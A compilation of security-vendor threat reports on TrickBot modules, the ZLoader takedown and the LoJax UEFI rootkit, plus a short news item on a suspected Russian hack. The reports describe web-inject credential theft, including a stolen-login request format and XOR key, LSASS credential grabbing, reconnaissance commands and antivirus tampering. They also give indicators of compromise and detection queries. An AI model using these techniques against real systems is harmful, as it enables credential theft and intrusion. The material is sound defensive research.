| North America | 1 of every 69 | 1.4% |
There is a lot of attention currently going to the possible detention of TrickBot gang members. This investigation may have long-term consequences for malware operators. We have decided to approach this issue differently: from the history of the rise and fall of different malware operations, we know that although malware may become inactive, its technical aspects are often reused in other successors.
We explore the technical details of key TrickBot modules and explain how they operate. No matter what awaits the Trickbot botnet, the thorough efforts put into the development of sophisticated Trickbot code will likely not be lost, and the code would find its usage in the future.
In this article, we focus on the three key modules below and describe Trickbot’s anti-analysis techniques:
- **injectDll**
- **tabDll**
- **pwgrabc**
### injectDll: web-injects module
Web-injects cause a lot of harm to victims because such modules steal banking and credential data and could cause great financial damage via wire transfers. Add Trickbot’s cherry-picking of victims, and the menace becomes even more dangerous.
The injectDll module performs browser data injection, including JavaScript which targets customers of 60 high-profile companies in the financial (including cryptocurrency) and technology spheres. Not only does this module target high-profile organizations, it also features several anti-analysis techniques.
Before the takedown in October 2020, the injectDll module had a configuration built from two config types “sinj” and “dinj” (located at the end of the module). Now web-injects come with the “winj” config from C2.
The payload which is injected to the page is minified (making the code size smaller makes the code unreadable), obfuscated, and contains anti-deobfuscation techniques. These techniques are based on JavaScript function string representation and its comparison with a hardcoded Regular Expression which should match the obfuscated function code. If the representation of the function doesn’t match the browser, the tab process crashes.
If all the checks passed successfully, the script constructs the URL of the second stage web-inject. This URL is built from %BOTID%, and two decoded constants. The C2 server strictly checks that the URL must end with “6vpixf7ug8h5sli7gqwj/jquery-3.5.1.min.js.” If the client tries to access any non-existent endpoint, the C2 server blocks network packets of the researcher’s external IP for a period of time.
The name of the script disguises itself as a well-known legitimate JavaScript jQuery library. The “second” stage web-inject is heavier than the first stage and is only loaded from the targeted page (for example, Amazon or some banking’s page) so as not to reveal the C2 servers. Its payload is also minified and obfuscated, contains a few layers of anti-deobfuscation techniques, and contains the code which grabs the victim’s keystrokes and web form submit actions.
The “second” stage of the web-inject, which targets a legitimate site, collects information from the login action and saves the “ap_email” and “ap_password” fields for a C2 payload. The payload is sent to another C2 server, which is decrypted using RC4.
The assembled HTTP request’s payload looks like this:
```
m=login&[email protected]&pass=pass&b=E4BFFED4E95C646B0EB2072FB593CA3C&q=sipdialm&v=8may&w=1
```
Where the “login” and “pass” fields hold captured credentials, the “b” field holds %BOT_ID%, and the “v” (and probably “w”) field is the version.
This payload is then encrypted using XOR with an “ahejHKuD5H83UpkQgJK” key.
### Anti-Deobfuscation technique
Usually, a researcher tries to analyze minified and obfuscated JavaScript code using tools like JavaScript Beautifiers, deobfuscators, and so on. After we applied these tools, we noticed that although the code became more readable, it also stopped working.
Another anti-analysis technique we encountered is one that prevents a researcher from sending automated requests to Command-and-Control servers to get fresh web-injects. If there is no “Referer” header in the request, the server will not answer with a valid web-inject.
### tabDLL module
The purpose of this DLL is to grab the user’s credentials and spread the malware via network share. It grabs credentials in 5 steps:
1. Enables storing user credential information in the LSASS application.
2. Injects the “Locker” module into the “explorer.exe” application.
3. From the infected “explorer.exe,” forces the user to enter login credentials to the application and then locks the user’s session.
4. The credentials are now stored in the LSASS application memory.
5. Grabs the credentials from the LSASS application memory using the mimikatz technique.
The credentials are then reported to C2. Lastly, it uses the EternalRomance exploit to spread via the SMBv1 network share.
### pwgrabc module
The pwgrabc is a credential stealer for various applications. This is the full list of targeted applications:
- Chrome
- ChromeBeta
- Edge
- EdgeBeta
- Firefox
- Internet Explorer
- Outlook
- Filezilla
- WinSCP
- VNC
- RDP
- Putty
- TeamViewer
- Precious
- Git
- OpenVPN
- OpenSSH
- KeePass
- AnyConnect
- RDCMan
### Conclusion
Based on our technical analysis, we can see that Trickbot authors have the skills to approach malware development from a very low level and pay attention to small details. Trickbot attacks high-profile victims to steal credentials and provide its operators access to sensitive data where they can cause greater damage.
The combination of these two factors has already led to more than 140,000 infected victims after the takedown, several 1st place rankings in top malware prevalence lists, and collaboration with Emotet – all within a year. Trickbot remains a dangerous threat that we will continue to monitor, along with other malware families.
### Check Point Protections
Check Point Provides Zero-Day Protection across Its Network, Cloud, Users, and Access Security Solutions. Whether you’re in the cloud, the data center, or both, Check Point’s Network Security solutions simplify your security without impacting network performance, provide a unified approach for streamlined operations, and enable you to scale for continued business growth. Quantum provides the best zero-day protection while reducing security overhead.
**Check Point Harmony Network Protections:**
- Trojan-Banker.Win32.TrickBot
- Threat Emulation protections:
- Banker.Win32.Trickbot.TC
- Trickbot.TC
- Botnet.Win32.Emotet.TC.*
- Emotet.TC.*
- TS_Worm.Win32.Emotet.TC.*
- Trojan.Win32.Emotet.TC.*
### Appendix – The list of targeted companies (via web-injects)
| Company | Field |
|-------------------------------------------------|--------------------------------|
| Amazon | E-commerce |
| AmericanExpress | Credit Card Service |
| AmeriTrade | Financial Services |
| AOL | Online service provider |
| Associated Banc-Corp | Bank Holding |
| BancorpSouth | Bank |
| Bank of Montreal | Investment Banking |
| Barclays Bank Delaware | Bank |
| Blockchain.com | Cryptocurrency Financial Services|
| Canadian Imperial Bank of Commerce | Financial Services |
| Capital One | Bank Holding |
| Card Center Direct | Digital Banking |
| Centennial Bank | Bank Holding |
| Chase | Consumer Banking |
| Citi | Financial Services |
| Citibank | Digital Banking |
| Citizens Financial Group | Bank |
| Coamerica | Financial Services |
| Columbia Bank | Bank |
| Desjardins Group | Financial Services |
| E-Trade | Financial Services |
| Fidelity | Financial Services |
| Fifth Third | Bank |
| FundsXpress | IT Service Management |
| Google | Technology |
| GoToMyCard | Financial Services |
| HawaiiUSA Federal Credit Union | Credit Union |
| Huntington Bancshares | Bank Holding |
| Huntington Bank | Bank Holding |
| Interactive Brokers | Financial Services |
| JPMorgan Chase | Investment Banking |
| KeyBank | Bank |
| LexisNexis | Data mining |
| M&T Bank | Bank |
| Microsoft | Technology |
| Navy Federal | Credit Union |
| PayPal | Financial Technology |
| PNC Bank | Bank |
| RBC Bank | Bank |
| Robinhood | Stock Trading |
| Royal Bank of Canada | Financial Services |
| Schwab | Financial Services |
| Scotiabank Canada | Bank |
| SunTrust Bank | Bank Holding |
| Synchrony | Financial Services |
| Synovus | Financial Services |
| T. Rowe Price | Investment Management |
| TD Bank | Bank |
| TD Commercial Banking | Financial Services |
| TIAA | Insurance |
| Truist Financial | Bank Holding |
| U.S. Bancorp | Bank Holding |
| UnionBank | Commercial Banking |
| USAA | Financial Services |
| Vanguard | Investment Management |
| Wells Fargo | Financial Services |
| Yahoo | Technology |
| ZoomInfo | Software as a service |
### IOCs
- myca.adprimblox.fun
- akama.pocanomics.com
- 524A79E37F6B02741A7B6A429EBC2E33306068BDC55A00222B6C162F396E2736 |
# Hack Suggests New Scope, Sophistication for Cyberattacks
The suspected Russian hack that compromised parts of the U.S. government was executed with a scope and sophistication that has surprised even veteran security experts and exposed a potentially critical vulnerability in America’s technology infrastructure, according to investigators.
As the probe continues into the massive hack—which cast a nearly invisible net across 18,000 companies and government agencies—security specialists are uncovering new evidence that indicates the operation is part of a broader, previously undetected cyber espionage campaign that may stretch back years. |
# Dismantling ZLoader: How Malicious Ads Led to Disabled Security Tools and Ransomware
As announced today, Microsoft took action against the ZLoader trojan by working with telecommunications providers around the world to disrupt key ZLoader infrastructure. We used our research into this threat to enrich our protection technologies and ensure this infrastructure could no longer be leveraged by operators to distribute the trojan or activate deployed payloads like ransomware. Moreover, we are sharing this intelligence to emphasize the importance of collaboration throughout the larger security community. Below, we will detail the various aspects for identifying a ZLoader campaign.
Derived from the Zeus banking trojan first discovered in 2007, ZLoader is a malware family notable for its ability to evolve and change from campaign to campaign, having undergone much development since its inception. ZLoader has remained relevant as attackers’ tool of choice by including defense evasion capabilities, like disabling security and antivirus tools, and selling access-as-a-service to other affiliate groups, such as ransomware operators. Its capabilities include capturing screenshots, collecting cookies, stealing credentials and banking data, performing reconnaissance, launching persistence mechanisms, misusing legitimate security tools, and providing remote access to attackers.
ZLoader campaign operators evolved the malware from a basic banking trojan to a more sophisticated piece of malware capable of monetizing compromised devices by selling access to other affiliate groups. By leveraging and misusing legitimate tools like Cobalt Strike and Splashtop, affiliates gain hands-on-keyboard access to affected devices, which can be further misused for other malicious activities like credential theft or downloading additional payloads, including ransomware. ZLoader has previously been linked to ransomware infections such as Ryuk, DarkSide, and BlackMatter.
ZLoader attacks have affected nations around the world, with the majority targeting the US, China, western Europe, and Japan. Due to the modular nature of some of ZLoader’s capabilities and its constant shifts in techniques, different ZLoader campaigns may look nothing alike. Previous campaigns have been fairly simple, with the malware delivered via malicious Office macros attached to emails and then used to deploy modules for capabilities. Other, more recent campaigns are notably complex–injecting malicious code into legitimate processes, disabling antivirus solutions, and ultimately culminating in ransomware.
ZLoader operators have also updated their methodology to frequently deliver the malware through targeted malicious Google Ads. The use of ad fraud is a stealthy way to target end users as it bypasses typical security solutions that can be found in email and surfaces itself in normal browser activities instead.
Microsoft Defender for Endpoint detects malicious behaviors related to this campaign. Enabling cloud protection and automatic sample submission for Microsoft Defender Antivirus aids users and organizations in remaining protected on new and emerging threats. Moreover, standardizing the use of the Microsoft Edge browser across all corporate devices and enabling Microsoft Defender SmartScreen protection blocks malicious sites, such as those connected to ZLoader campaigns.
In this blog post, we characterize the various methods by which a ZLoader campaign might be identified, along with detailing detection and mitigation information that can help users reduce the impact of this threat.
## ZLoader Attack Chains
ZLoader is a malware variant that has evolved over the years and is used for multiple objectives, meaning that two campaigns which both use ZLoader may appear completely different. For example, an individual who has experience responding to a ZLoader campaign that originated from email and dropped the payload via a malicious Office macro may be shocked at the complexity of a second ZLoader campaign that uses numerous malicious files for reconnaissance and antivirus tampering, before finally dropping the actual malware payload.
The following diagram identifies the most common ways the ZLoader trojan has been observed moving through the delivery, installation, payload, malware activity, and follow-on activity phases of an attack. This diagram is high-level and may not depict every step or file dropped in some of ZLoader’s more complex campaigns.
### Delivery
ZLoader malware has been observed being delivered in multiple ways. Two of the most prominent methods include malicious search engine ads and malicious emails.
#### Malicious Advertisement Delivery
In more recent campaigns, ZLoader has shifted away from using email as a means of delivery and instead used malicious ads on search engines such as Google to trick users into visiting malicious sites. Each wave of these campaigns impersonated a specific company or product, such as Java, Zoom, TeamViewer, and Discord. For the delivery stage of the attack, the actors would purchase Google Ads for key terms associated with those products, such as “zoom videoconference.” Users who performed Google searches for those terms during a specific time would be presented with an advertisement that led to the form grabbing malicious domains.
In each instance of this campaign, the actors would compromise legitimate domains that appeared to be owned by individuals or small businesses, such as personal blogs. They would then set up subdomains on them that were associated with the product they were impersonating during that time. The product-specific subdomain was the second subdomain on the domain, while the first subdomain was an extremely long set of words. For example:
- zoomdownload.linkforbusinessandpersonalusersofourserviceinseptember.jumpingonwater.com
- zoomonline.forusersinourservicewithbusinessandpersonalcustomers.fineanddandiwithrandi.com
- zoomdownload.onlinestartserviceforyourworkstudymeeting.indyflat-tax.com
- zoomdownloadlink.zoomdownload.onlinesoftwareforpersonalandbusinessusersinseptember.lifeintrainingpodcast.com
- teamviewerdownload.fastserviceworkonlinelinkjoininaugustseptermber.greenlinefood.net
- teamviewerdownload.directserviceforonlinepersonalandbusinessusersofourservice.wahatalrabeeh.co
- teamviewerstart.linkforpersonalandbusinessusersinourservicestartnow.ellisclinic.com
In at least one instance of this activity, the compromised webpage was set up to appear as though it was associated with the company Get VoIP, a legitimate service that provides comparisons between various VoIP providers. The attackers did not compromise the GetVoIP website or service; rather, they designed the webpage to impersonate the real GetVoIP site.
From these compromised domains, the users will attempt to download the product being impersonated, which redirects them to an attacker-owned domain. These domains also pretend to be associated with the legitimate product being impersonated and frequently use the .site TLD. One example of the chain of redirected domains associated with this activity is:
1. https://adservice.google.com, redirects to:
2. zoomdownload.linkforbusinessandpersonalusersofourserviceinseptember.jumpingonwater.com, redirects to:
3. zoomvideo.site
The ZLoader operators have tended to use REG.RU, LLC as the registrar for these final .site domains. Additionally, many of the domains used within a single campaign have the registrant contact email in common with each other, making it easy to pivot and find other potentially related domains. The final website in this chain downloads the initial malicious .msi file.
#### Email Delivery
As with many other malware variants, prior ZLoader campaigns have also been known to use malicious emails to deliver Office documents containing malicious macros that download the payload. The ZLoader operators do not have a preferred method of delivering these Office documents and have been observed using both links and attachments in various campaigns. Some observed means by which a ZLoader email was associated with a malicious document include:
- Attached macro-enabled Microsoft Office document
- Attached Excel 4.0 document that contained Hidden Sheets and Very Hidden Sheets to host macros
- Attached PDF with link to a macro-enabled Office document
- Attached ZIP file that contained a macro-enabled Office document or executable
- Link to a Google Docs page with links to a macro-enabled Office document
The emails have used a variety of lures, which typically convey a sense of urgency. Some of the campaigns used lures based on current events at the time of the campaign, such as COVID-19, or generic lures, such as overdue invoice payments and fake resumes or CVs. Additionally, most of these emails have been sent from consumer email services—notably AOL.com. There have also been campaigns that used domains that are associated with the lure theme; for example, some emails were sent from a COVID-themed sender domain.
Regardless of how the operator chooses to deliver the Office document, once the user opens it, they are prompted to enable macros to view the content. In various known cases, the malicious macros either directly started to download subsequent payloads or they dropped a VBS file that in turn performed the download.
In general, a connection was made to a compromised WordPress instance hosting the PHP code used by the ZLoader kit. At this stage, the ZLoader payload was downloaded as a DLL masquerading as an HTML file that is then launched using rundll32.exe.
### Installation
Less complex ZLoader campaigns go straight from the delivery phase to dropping the malicious payload. In more complex ZLoader campaigns, the next phase of the attack shifts to using a legitimate process such as msiexec.exe to download several additional files, including many non-malicious .dll files that are legitimate pieces of whatever software is being impersonated at the time. A malicious .bat file is hidden in those .dll files.
In several instances, these files were added to a folder pretending to be associated with legitimate software, such as Oracle Java or Brave Browser, using the following pattern as an example: C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\[malicious file]. The .bat file launches PowerShell to reach out to a download domain to drop the ZLoader payload. Examples of these domains include:
- quickbooks.pw
- sweepcakesoffers.com
- Datalystoy.com
- Teamworks455.com
- Clouds222.com
In some campaigns, the attackers used a script to run various discovery commands prior to downloading the ZLoader payload, including:
- ipconfig /all
- net config workstation
- net view /all
- net view /all /domain
- nltest /domain_trusts
- nltest /domain_trusts /all_trusts
### Payload
Once the ZLoader payload is on the device, it may drop various modules that provide it with additional functionality, such as:
- Capturing screenshots
- Collecting cookies
- Stealing banking passwords
- Providing VNC access to attackers
Operators can choose which of these modules to deliver based on how the malware is configured. In most campaigns, the module files are dropped in subfolders in the AppData folder. Although operators are free to give the subfolders and files arbitrary names, the names Microsoft researchers have actually observed exhibit two patterns:
- Sets of characters that appear random
- Concatenated dictionary words
In several campaigns, attackers opted not to use these modules and instead used the payload to download an additional malicious file. This file was launched and then called back out to the same download domain that the ZLoader payload was downloaded from, to download a PowerShell script. The downloaded script checked if the device was workgroup- or domain-connected. The PowerShell script then reached out to the command and control (C2) domain and downloaded two malicious files—typically an .exe and a .dll. The script used regsvr32.exe to launch the DLL and run a command to time out for 200 seconds. After this, cmd.exe was used to launch an additional malicious file, which downloads a VBS file that is loaded by wscript.
### Browser Credential Theft
One of the main functionalities of ZLoader malware is to steal online credentials targeting banks and financial institutions, as well as other credentials, via client-side web injection and form grabbing attacks. Web injection allows the attacker to alter content of the websites displayed to the victim, while form grabbing captures credentials from the browser windows. To accomplish those actions, the malware implements an Adversary-in-the-browser (AiTB) attack.
ZLoader’s main process, msiexec.exe, spawns several threads running at the same time to perform different tasks. Each of these threads communicate with one another using shared data stored in the global memory, system registry, and encrypted files. Threads are spawned that execute functions to install a fake certificate and run a local proxy, while another thread is injected and executed inside the loaded browser process, which is responsible for redirecting traffic via proxy.
A thread runs to traverse the list of running processes and inject codes to target browser processes discovered. ZLoader targets the following browser processes:
- iexplore.exe
- firefox.exe
- chrome.exe
- msedge.exe (Microsoft Edge)
The hook API TranslateMessage is the key malware functionality that performs the form grabbing, keylogging, and screenshotting of users’ desktops.
For the target browser processes, the following APIs are hooked for tracking, redirecting network activities, and controlling the certificate verification. The ZwDeviceIoControlFile hooks allow HTTP/HTTPs responses containing web pages codes from the target to be redirected to the proxy server to be modified. Moreover, any certificate will be tagged as valid.
- ntdll.dll – ZwDeviceIoControlFile
- crypt32.dll – CertGetCertificateChain, CertVerifyCertificateChainPolicy
Another thread is responsible for checking instructions and configurations from the C2 servers every 10 minutes. Included in the configuration are the list of target banks, financial institutions, and online companies, and the instruction on how to perform the web injection.
One of ZLoader’s targets is the Microsoft online sign-in page at https://login.microsoftonline.com. Several of Microsoft’s main websites, such as office.com, redirect users to this Microsoft online page when they try to sign into their Microsoft account. When users load their favorite web browser, such as Microsoft Edge, then visit and try to sign into their Microsoft account, ZLoader will match the URL to the list of targets. In this case, it will match to the first one above and perform the web injection by inserting malicious JavaScript codes after the string “</head>” and then rendering to the browser application.
The codes injected will insert fake web controls and/or additional JavaScript codes that are responsible for capturing the credentials such as usernames, passwords, and others. This captured information is encrypted and sent to the main bot and then to the C2 server. With these stolen credentials, the ZLoader operators can potentially gain access to users’ Microsoft online account to perform further illicit activities. As the malicious activities occurred in the background, even “tech savvy” users may not be aware that their browser was tampered with, and credentials were stolen.
### Defense Evasion
ZLoader has used various methods of defense evasion, focused on attempting to appear more legitimate or by disabling security tools. In multiple campaigns associated with malicious ads, the ZLoader operators would sign malicious files used in their attack chain. Signing these files is intended to make them appear to be legitimate, non-malicious files used by real software, rather than malicious files used by malware.
The first method ZLoader has used to sign files is by creating fictitious companies. In certain campaigns, the .msi files that are installed on the device after the user visits a malicious ad are signed by a fictitious company created by the operator for the purpose of the campaign. The malware operators created multiple fraudulent companies, such as Flyintellect Inc, and Datalyst Oy, in several campaigns. Due to the way .msi files are designed, the registry keys that are added by this activity later in the attack chain are also published by the same company name.
Another method operators have used to evade detection is a set of techniques that utilize validly-signed files to hide malicious scripts through vulnerabilities like CVE-2020-1599, CVE-2013-3900, and CVE-2012-0151.
ZLoader operators have also attempted to perform defense evasion by disabling security tools. In many instances, ZLoader will drop a file, frequently a .bat file, that then uses PowerShell to turn off and alter security settings, such as excluding all .dll and .exe files and regsvr32.exe from being scanned.
### Persistence
ZLoader has used various persistence methods across separate campaigns. The first method observed by Microsoft Security Researchers involves the ZLoader DLL using rundll32.exe to register itself. In other documented cases, it also creates the following persistence mechanisms for itself or its modules:
- Registry entries under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Files in the Startup folder
In more recent campaigns, the attackers maliciously used Atera, a legitimate remote monitoring software. While Atera was not compromised, attackers leveraged its built-in Splashtop Remote Access capabilities to achieve persistence on the compromised device.
### Objectives
After establishing persistence, the campaign operators behind ZLoader infections monetize their access to domain-joined devices by selling access-as-a-service to other groups, including ransomware affiliates. These groups can then use this access for their own goals, including installations of Cobalt Strike, which enables hands-on keyboard activities by the actors.
In one instance, the VBS downloaded a batch script which connected to a Cobalt Strike C2 via a DLL beacon dropped on the device by PowerShell. It was launched via rundll32.exe, with the known Cobalt Strike flag StartW. Reconnaissance queries were then run on domain-joined devices, performing actions such as searching for all domain trusts on the network.
With the use of Cobalt Strike and Splashtop, attackers have hands-on-keyboard access to affected devices that can be leveraged for subsequent objectives, including credential theft or deployment of additional payloads such as ransomware. In the past, ZLoader has been tied to ransomware infections such as Ryuk. We’ve also seen ZLoader operators provide access to ELBRUS actors who deployed DarkSide ransomware (earlier in 2021). Those that were more recently observed had been deploying BlackMatter ransomware. Given such history, the Cobalt Strike payloads might indicate pre-ransomware activities that prefigure a real threat of ransomware attacks.
## Defending Against ZLoader Attacks
The take down effort against ZLoader is just one of the ways in which Microsoft provides real-world protection against threats. This action will result in protection for a wide range of organizations around the world from malware, affiliates with hands-on-keyboard access, and additional payloads delivered via ZLoader’s infrastructure.
Like many modern malware variants, getting ZLoader onto a device is oftentimes just the first step in what ends up being a larger attack. The trojan further exemplifies the trend of common malware increasingly harboring more dangerous threats, a pattern also observed in other platforms. ZLoader operators frequently monetize access from infections by selling it to other affiliate groups, who then use the purchased access to carry out their own malicious objectives. Affiliates may further misuse legitimate tools like Cobalt Strike or Splashtop to gain full hands-on-keyboard access to target devices, enabling attackers to perform additional discovery, find high-value targets on the network, move laterally, and drop additional payloads, such as ransomware variants.
The best advice for preventing ZLoader infections is to simply avoid downloading attachments contained in emails from unknown senders as well as clicking on sponsored ads and links in search engine results, instead opting for unsponsored results from verified, trusted sources. Good credential hygiene, network segmentation, and similar best practices increase the “cost” to attackers, helping disrupt their activities before they reach their target.
Defenders can take the following mitigation steps to defend against this threat:
- Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware. SmartScreen removes the reputation information for the certificates leveraged during these attacks. Binaries signed with those certificates will trigger a warning about an “unrecognized app.”
- Use Windows Defender Application Control, AppLocker, or other application control technologies to prevent end users from running unapproved software on their computers.
- Run the latest version of your operating systems and applications. Deploy the latest security updates as soon as they become available.
- Use only official, trustworthy websites and direct download links.
ZLoader’s prevalence in the threat landscape demands comprehensive protection capable of detecting and stopping this malware, its components, and other similar threats at every stage of the attack chain. Microsoft Defender for Endpoint provides next-generation protection that reinforces network security perimeters and incorporates antimalware capabilities to catch emerging threats, including ZLoader, Cobalt Strike, additional payloads such as ransomware, and subsequent attacker behaviors. Moreover, our endpoint detection and response (EDR) capabilities detect ZLoader’s malicious files, behaviors, domain connections, and other related events before and after execution.
Defenders can further apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:
- Configure Microsoft Defender for Office 365 to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow, and time-of-click verification of URLs and links in email messages and other locations. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
- Configure Microsoft Defender for Office 365 to detonate file attachments via Safe Attachments. Safe Attachments provides an additional layer of protection for email attachments by verifying a file in a virtual environment prior to delivering to the inbox.
- Check your Office 365 antispam policy and your mail flow rules for allowed senders, domains and IP addresses. Apply extra caution when using these settings to bypass antispam filters, even if the allowed sender addresses are associated with trusted organizations—Office 365 will honor these settings and can let potentially harmful messages pass through. Review system overrides in threat explorer to determine why attack messages have reached recipient mailboxes.
- Configure Exchange Online to enable zero-hour auto purge (ZAP) in response to newly acquired threat intelligence. ZAP retroactively detects and neutralizes malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
- Turn on network protection to block connections to malicious domains and IP addresses.
- Turn on tamper protection features to prevent attackers from stopping security services.
- Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
Turn on the following attack surface reduction rules to block or audit activity associated with this threat:
- Block executable files from running unless they meet a prevalence, age, or trusted list criterion
- Block all Office applications from creating child processes
- Block Office applications from creating executable content
- Block executable content from email client and webmail
- Block Office applications from injecting code into other processes
- Block credential stealing from the Windows local security authority subsystem (lsass.exe)
- Block process creations originating from PsExec and WMI commands
- Use advanced protection against ransomware
- Block JavaScript or VBScript from launching downloaded executable content
- Block execution of potentially obfuscated scripts
## Appendix
### Microsoft 365 Defender Detections
**Microsoft Defender Antivirus** detects threat components as the following malware:
- Trojan:Win64/ZLoader
- Trojan:Win32/ZLoader
**Shared malware and generic detections**
Microsoft Defender Antivirus incorporates next-generation antivirus capabilities, including machine learning and behavioral detection. This can result in overlapping detections, particularly of first-seen components and polymorphic variants. The detection names are listed here for reference, but related alerts are not actively monitored.
Instances of Cobalt Strike use can be detected as the following:
- Bynoco – Cobalt Strike
- Atosev – Cobalt Strike
- Cosipor – Cobalt Strike
**Microsoft Defender for Endpoint EDR**
Alerts with the following titles in the security center can indicate threat activity on your network:
- Suspicious behavior associated with ZLoader
- File associated with ZLoader
- Connection to a domain associated with ZLoader
The following alerts might also indicate activity associated with this threat. However, unrelated threat activity can trigger these alerts.
- Microsoft Defender Antivirus protection turned off
- Suspicious Microsoft Defender Antivirus exclusion
- ZLoader malware was detected
- Suspicious behavior by cmd.exe was observed
- Suspicious PowerShell command line
- Suspicious Remote System Discovery
- Suspicious Domain Trust Discovery
**Microsoft Defender for Office 365**
Signals from Microsoft Defender for Office 365 inform Microsoft 365 Defender, which correlates cross-domain threat intelligence to deliver coordinated defense, that ZLoader has been detected when a document is delivered via email when detonation is enabled. These alerts, however, can also be triggered by unrelated threat activity.
- A potentially malicious URL click was detected
- Email messages containing malicious file removed after delivery
- Email messages containing malicious URL removed after delivery
- Email messages containing malware removed after delivery
- Email messages removed after delivery
- Malware campaign detected after delivery
- Malware campaign detected and blocked
- Malware not zapped because ZAP is disabled
### Hunting Queries
**Microsoft 365 Defender**
To locate possible exploitation activity, run the following queries:
**ZLoader alert activity**
Surface devices with ZLoader alerts and related malicious activity.
```plaintext
// Get any devices with ZLoader related Alert Activity
let DeviceAlerts = AlertInfo
| where Title in~('Suspicious behavior associated with ZLoader',
'File associated with ZLoader',
'Connection to a domain associated with ZLoader')
// Join in evidence information
| join AlertEvidence on AlertId
| where DeviceId != ""
| summarize by DeviceId, Title;
// Get additional alert activity for each device
AlertEvidence
| where DeviceId in(DeviceAlerts)
// Add additional info
| join kind=leftouter AlertInfo on AlertId
| summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)
```
**MSHTA-loading DLLs**
Look for instances of MSHTA loading suspicious DLL files.
```plaintext
DeviceProcessEvents
| where not(FileName has_any("certutil", "certutil32")) and FileName endswith ".exe" and ProcessVersionInfoFileDescription =~ "certutil.exe"
| where not(FolderPath has_any("installer", "program files"))
```
**Suspicious registry keys**
Look for registry keys created by the fraudulent, attacker-created companies used in this campaign.
```plaintext
DeviceRegistryEvents
| where RegistryValueData in('Flyintellect Inc.', 'Datalyst oy')
```
**Malicious .bat file created in fake Oracle Java SE folder path**
Look for .bat files created in the Oracle Java SE file path associated with this activity.
```plaintext
DeviceFileEvents
| where FileName endswith '.bat'
and FolderPath has @'Program Files (x86)\Sun Technology Network\Oracle Java SE'
```
**Tim.exe payload delivery**
Look for the Tim.exe payload being downloaded onto an affected device.
```plaintext
DeviceNetworkEvents
| where InitiatingProcessFileName =~ 'powershell.exe'
and InitiatingProcessCommandLine has('Invoke-WebRequest') and InitiatingProcessCommandLine endswith '-OutFile tim.EXE'
``` |
# ESET Research White Papers
## LOJAX
### First UEFI rootkit found in the wild, courtesy of the Sednit group
## EXECUTIVE SUMMARY
Sednit, also known as APT28, Sofacy, Strontium, and Fancy Bear, has been operating since at least 2004 and has made headlines frequently in the past years. It is believed to be behind major, high-profile attacks. For instance, several security companies as well as the US Department of Justice named the group as being responsible for the Democratic National Committee (DNC) hack just before the US 2016 elections. The group is also presumed to be behind the hacking of global television network TV5Monde, the World Anti-Doping Agency (WADA) email leak, and many others. Its targets are many, and the group has a diversified set of malware in its toolbox, several of which we have documented previously, but this white paper details the first time this group is known to have used a UEFI rootkit.
Key points in this white paper:
- Starting in at least early 2017, trojanized versions of an older userland agent of the popular LoJack anti-theft software from Absolute Software were found in the wild. We call this trojanized LoJack agent LoJax. LoJack attracted a lot of attention in recent years as it implements a UEFI/BIOS module as a persistence mechanism.
- The presence of known Sednit tools alongside LoJax samples, as well as the fact that some of the C&C servers used by these trojanized agents were part of an earlier Sednit network infrastructure, allows us to link this UEFI rootkit to the Sednit group with high confidence.
- Along with the LoJax agents, tools with the ability to read systems’ UEFI firmware were found, and in one case, this tool was able to dump, patch, and overwrite part of the system’s SPI flash memory. This tool’s ultimate goal was to install a malicious UEFI module on a system whose SPI flash memory protections were vulnerable or misconfigured.
- This UEFI module has the responsibility to drop the LoJax agent on the system, making it the first Sednit UEFI rootkit identified. As it resides in the system’s firmware, it can survive a Windows re-install as well as a hard drive replacement.
- There was at least one case where this rootkit was successfully installed in a system’s SPI flash memory. To our knowledge, this is the first UEFI rootkit found in the wild.
## INTRODUCTION
The Sednit group is a resourceful APT group targeting people and organizations around the world. It has been in operation since at least 2004, using a wide range of malware families. For a complete description of the most prevalent tools this group uses, please refer to our Sednit white paper.
Throughout our multi-year tracking of this group, we released many reports on its activities, ranging from zero-day usage to custom malware it develops, such as Zebrocy. However, the component described in this white paper is in a league of its own.
There have been stories in the past of UEFI rootkits, such as “rkloader” described in a presentation from the Hacking Team data leak or “DerStarke,” a macOS EFI/UEFI boot implant described in the Vault7 leaks. While we know of their existence, there has never been a published report detailing a real case of a victim compromised by such malware.
Not only were we able to confirm discovering an in-the-wild firmware including the malicious LoJax UEFI module, but we were also able to find the full toolchain that was presumably used to install it. It is interesting to note here that Sednit used the DownDelph bootkit in 2013 and 2014 as a persistence method for Downdelph, one of the group’s first-stage backdoors. While the idea is similar, bootkits are no longer possible with the new UEFI implementation. Thus, these two components differ significantly in their behavior.
This white paper is divided into three sections. The first will deal with previous security research on LoJack/Computrace and how it could be used maliciously. The second section will examine the breadcrumbs found along our research route that ultimately led us to the UEFI rootkit. Finally, the third section will detail the different LoJax components and how they persist on a system even after a Windows re-install or a hard drive replacement.
### Attribution
While many vendors have made attribution claims about the Sednit group in the past, ESET does not perform any type of geopolitical attribution. That was our position back when we published our white paper in 2016 and is still the case today. As we wrote back then, performing attribution in a serious, scientific manner is a hard problem that is out of our scope as ESET security researchers. What we call “the Sednit group” is merely a set of software and the related network infrastructure, which we can hardly correlate authoritatively with any specific organization.
### Victimology
We found a limited number of different LoJax samples during our research. Based on our telemetry data and on other Sednit tools found in the wild, we are confident that this particular module was rarely used compared to other malware components at their disposal. The targets were mostly government entities located in the Balkans as well as Central and Eastern Europe.
## PREVIOUS RESEARCH ON COMPUTRACE/LOJACK
LoJack is anti-theft software made by Absolute Software Corporation. Earlier versions of this agent were known as Computrace. As its former name implies, once a user activated the service, the computer could call back to its C&C server and its user be notified of its location should it have gone missing or been stolen.
The rest of this section describes what LoJack architecture used to be. As only an old version of this software was trojanized by the threat actor, it makes sense to focus only on it. Also, Absolute Software issued a statement in May 2018 stating that the vulnerabilities described below are not affecting recent versions of their agents.
